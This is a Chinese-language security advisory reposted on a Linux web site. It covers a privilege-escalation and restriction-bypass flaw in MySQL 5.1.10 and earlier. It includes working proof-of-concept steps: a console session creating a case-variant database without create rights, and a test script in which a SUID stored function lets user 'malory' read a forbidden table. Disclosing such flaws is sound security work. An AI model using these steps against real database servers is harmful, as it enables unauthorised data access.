首页 | 资讯动态 | linux基础 | 系统管理 | 网络管理 | 编程开发 | linux数据库 | linux相关 | linux认证 | 下载中心 | 专题
oklinux
 系统管理:中文环境 系统管理 桌面应用 内核技术 Linux基础:安装配置 常用命令 经验技巧 软件应用 Linux数据库:Mysql POSTGRE
 网络管理:网络安全 网络应用 Linux服务器 编程开发:PHP CC++ Python Perl SHELL 嵌入式开发 | PHP基础 PHP技巧 PHP应用 PHP文摘
 首页 linux资讯动态 Linux专题 | 其他Unix Linux解决方案 硬件相关 Linux认证 企业应用 Apache | 相关下载:软路由 参考手册 开发工具
 → 当前位置:首页>linux数据库>mysql>正文

MySQL权限提升及安全限制绕过漏洞

OKLinux www.oklinux.cn 2007-02-22 来源:黑客基地 收藏本文

受影响系统:

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库


$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)
 

2、权限提升


--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
 

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

上一篇:在Linux上安装MySQL Server 5.0   下一篇:修改Linux下mysql 5.0.xx默认连接数
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭

相关文章
·修改Linux下mysql 5.0.xx默认连接数
·在Linux上安装MySQL Server 5.0
·如何安全的远程使用MySQL GUI工具
·在Linux 环境下安装 Mysql
·每天备份 mysql 数据库的脚本
·MySQL运算符获得更多数据比较功能
·Linux应用集成MySQL数据库访问技巧
·SQL Server数据库导入MySQL数据库的体验
·MySQL中的临时表使用方法讲解
·从MySQL导入导出大量数据的程序实现方法
发表评论
密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。)
站内搜索
阅读排行榜
·Linux应用集成MySQL数据库
·MySQL运算符获得更多数据
·MySQL中的临时表使用方法
·每天备份 mysql 数据库的
·在Linux 环境下安装 Mysql
·MySQL学习笔记-MySQL的安
·Proftpd-1.2.7+MySQL整合
·proftpd+mysql+quota整合
·编译APACHE+PHP+MYSQL的一
·提高mysql性能的方法!
最新文章
·MySQL运算符获得更多数据
·如何安全的远程使用MySQL
·修改Linux下mysql 5.0.xx
·在Linux上安装MySQL Serve
·在Linux 环境下安装 Mysql
·每天备份 mysql 数据库的
·MySQL数据库安全配置
·VSFTP+MySQL虚拟用户配置
·MySQL中文参考手册-- 创造
·MySQL中文参考手册-- 获得
·Perl语言存取MSQL和MySQL
·Linux下Apache+PHP+MySq
·MySQL的Master/Slave数据
·一篇详细讲述MySQL和Acces
·在同一台机器上运行多个My

设为首页 - 加入收藏 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
Copyright © 2007 All rights reserved OKLinux.Cn 版权所有
合作联系 QQ:18743986 Email:arlan8005#163.com